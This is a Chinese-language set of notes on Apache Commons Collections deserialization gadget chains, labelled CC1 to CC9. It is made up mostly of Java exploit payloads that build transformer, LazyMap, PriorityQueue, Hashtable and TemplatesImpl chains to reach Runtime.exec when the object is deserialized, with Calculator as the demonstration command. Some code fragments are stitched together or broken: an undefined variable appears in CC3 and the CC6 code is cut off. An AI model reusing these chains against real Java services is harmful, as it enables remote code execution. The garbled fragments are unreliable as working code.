publicclassCommandDemo{ publicstaticvoidmain(String[] args){ ChainedTransformer demo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})}); demo.transform(String.class); } }
下面两个方法间接调用了 transformKey 和 transformValue 两个方法,且都是 public 方法(checkSetValue 方法后文再提)
Level-1 payload
publicclassCommandDemo{ publicstaticvoidmain(String[] args){ ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("open -a Calculator")})}); TransformedMap outerMap = (TransformedMap) TransformedMap.decorate(new HashMap<String, String>(), null, chainDemo); outerMap.put("test", "test"); } }
publicclassCommandDemo{ publicstaticvoidmain(String[] args){ ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("open -a Calculator")})}); Map innerMap = new HashMap(); innerMap.put(null, null); Map outerMap = TransformedMap.decorate(innerMap, null, chainDemo); Map.Entry entryDemo = (Map.Entry) outerMap.entrySet().iterator().next(); entryDemo.setValue(null); } }
publicclassCommandDemo{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}); Map innerMap = new HashMap(); Class clz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor construct = clz.getDeclaredConstructor(Map.class, Transformer.class); construct.setAccessible(true); LazyMap mapDemo = (LazyMap) construct.newInstance(innerMap, chainDemo); mapDemo.get("random"); } }
Lazy不可以直接 new 来实例化,需要通过反射调用。在实例化的时候调用构造方法对 this.factory 进行了附值
LazyMap 的 get 方法调用了已经附值的 this.factory 的 transform 方法,我们手动调用了 LazyMap 的 get 方法,因此会命令执行
获取实例化也可以通过 LazyMap#decorate
Level-2 payload
publicclassCommandDemo{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}); Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, chainDemo); mapDemo.get("random"); } }
由于上面我们是手工调用的 LazyMap 的 get 方法,我们需要结合反序列化自动调用的话,跟上面 TransformedMap 一样,需要找一个重写的 readObject 里面调用了 get 方法的。这里使用到的还是 AnnotationInvocationHandler。
Level-3 LazyMap 利用链 payload
publicclassLazyMapDemo{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}); Map innerMap = new HashMap(); Class clz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor construct = clz.getDeclaredConstructor(Map.class, Transformer.class); construct.setAccessible(true); LazyMap mapDemo = (LazyMap) construct.newInstance(innerMap, chainDemo); Constructor handler_construct = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handler_construct.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_construct.newInstance(Override.class, mapDemo); Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class}, map_handler); Constructor AnnotationInvocationHandler_Construct = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandler_Construct.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Construct.newInstance(Override.class, proxy_map); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(handler); oos.close(); System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } }
publicclassCC2{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, NoSuchFieldException, IOException { Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
TransformingComparator comparator = new TransformingComparator(fakeChain); PriorityQueue queue = new PriorityQueue(1); queue.add(1); queue.add(2); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, comparator);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(queue); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue, queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); size.setAccessible(true); size.set(queue, 2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue, comparator);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(queue); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject();
}
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } }
publicclassDemo{ publicstaticvoidmain(String[] args)throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("TestDemo"); String cmd = "java.lang.Runtime.getRuntime().exec(\"/Applications/Calculator.app/Contents/MacOS/Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = newbyte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "TestDemo"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }); chain.transform("random");
}
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } }
Gadget chain
上述的 RCE demo 结合 CC1 的 LazyMap 利用链可以构造出 CC3
CC3 payload
publicclassCC3{ publicstaticvoidmain(String[] args)throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("TestDemo"); String cmd = "java.lang.Runtime.getRuntime().exec(\"/Applications/Calculator.app/Contents/MacOS/Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = newbyte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "TestDemo"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(handler); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); }
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } }
publicclassCC4{ publicstaticvoidmain(String[] args)throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("TestDemo"); String cmd = "java.lang.Runtime.getRuntime().exec(\"/Applications/Calculator.app/Contents/MacOS/Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = newbyte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); setFieldValue(templates, "_name", "TestDemo"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
TransformingComparator comparator = new TransformingComparator(fakeChain); PriorityQueue queue = new PriorityQueue(2); Object[] queue_array = new Object[]{templates, 1};
// gadget Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue"); queue_field.setAccessible(true); queue_field.set(queue, queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size"); size.setAccessible(true); size.set(queue, 2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator"); comparator_field.setAccessible(true); comparator_field.set(queue, comparator);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(queue); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject();
}
publicstaticvoidsetFieldValue(final Object obj, final String fieldName, final Object value)throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
publicstatic Field getField(final Class<?> clazz, final String fieldName){ Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) { field = getField(clazz.getSuperclass(), fieldName); } } return field; } }
publicclassCommandDemo{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}); Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, chainDemo); mapDemo.get("random"); } }
核心还是调用 LazyMap 的 get 方法,由此调用前面包装好的 ChainedTransformer 的 transform 方法。那么现在核心目的还是寻找到某个类可以传入一个 Map 对象,同时类里面的方法需要调用 Map 对象的 get 方法
Gadget chain
Level-1 payload
publicclassCommandDemo{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}); Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, chainDemo); TiedMapEntry rceDemo = new TiedMapEntry(mapDemo, "random"); rceDemo.getValue();
} }
上述的 TiedMapEntry#getValue 调用了传入的 Map 对象的 get 方法
还是跟之前的思路一样,需要跟反序列化结合的话,需要继续构造
fake CC5 payload
publicclassCC5{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}); Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, chainDemo); TiedMapEntry rceDemo = new TiedMapEntry(mapDemo, "random"); BadAttributeValueExpException finaldemo = new BadAttributeValueExpException(rceDemo); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(finaldemo); oos.close(); System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }
而在下面 readObject 调用 val = valObj.toString(); 的时候, valObj 不为 TiedMapEntry
因此根据 valObj 的附值地方,重新构造 payload
通过反射构造 BadAttributeValueExpException 的 val值
CC5 payload, JDK1.8
publicclassCC5{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException { Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, fakeChain); TiedMapEntry rceDemo = new TiedMapEntry(mapDemo, "random"); BadAttributeValueExpException finaldemo = new BadAttributeValueExpException("random"); Field valDemo = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); valDemo.setAccessible(true); valDemo.set(finaldemo, rceDemo);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(finaldemo); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }
publicclassCommandDemo{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}); Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, chainDemo); TiedMapEntry rceDemo = new TiedMapEntry(mapDemo, "random"); rceDemo.getValue(); } }
publicclassCC6{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException , InstantiationException, IOException, NoSuchFieldException { Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
Map innerMap = new HashMap(); LazyMap mapDemo = (LazyMap) LazyMap.decorate(innerMap, fakeChain); TiedMapEntry rceDemo = new TiedMapEntry(mapDemo, "random"); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); }
publicclassCommonsCollections6{ publicstaticvoidmain(String[] args)throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "/Applications/Calculator.app/Contents/MacOS/Calculator" }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
// ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
// 本地测试触发 System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
AbstractMap#equals 调用 m 的 get, 也就是 LazyMap#get,由此触发 RCE
构造 payload 的时候需要注意最后需要把 lazyMap2 的 yy 键 remove 掉
因为 hashtable.put(lazyMap2, 2); 这里在调用 put 方法的时候,也会调用到 equals 方法,就会增加一个yy键,为了保证其正常的反序列化,就要移除掉
CC7 payload
publicclassCC7{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException { Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")}), new ConstantTransformer(1)}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, fakeChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, fakeChain); lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
lazyMap2.remove("yy");
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(hashtable); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }
publicclassCommandDemo{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}); Map innerMap = new HashMap(); DefaultedMap mapDemo = (DefaultedMap) DefaultedMap.decorate(innerMap, chainDemo); mapDemo.get("random"); } }
结合一些 CC5 可以构造出来完整的 gadget
publicclassCC9{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException { Transformer[] realPoc = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")})}; ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer("random")});
Map innerMap = new HashMap(); DefaultedMap mapDemo = (DefaultedMap) DefaultedMap.decorate(innerMap, fakeChain); TiedMapEntry rceDemo = new TiedMapEntry(mapDemo, "random"); BadAttributeValueExpException finaldemo = new BadAttributeValueExpException("random"); Field valDemo = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); valDemo.setAccessible(true); valDemo.set(finaldemo, rceDemo);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(fakeChain, realPoc);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(finaldemo); oos.close();
System.out.println(bos); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray())); ois.readObject(); } }
publicclassCommandDemo{ publicstaticvoidmain(String[] args)throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { ChainedTransformer chainDemo = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calculator.app/Contents/MacOS/Calculator")}), new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{ ("/Applications/Calendar.app/Contents/MacOS/Calendar")})}); chainDemo.transform("random"); } }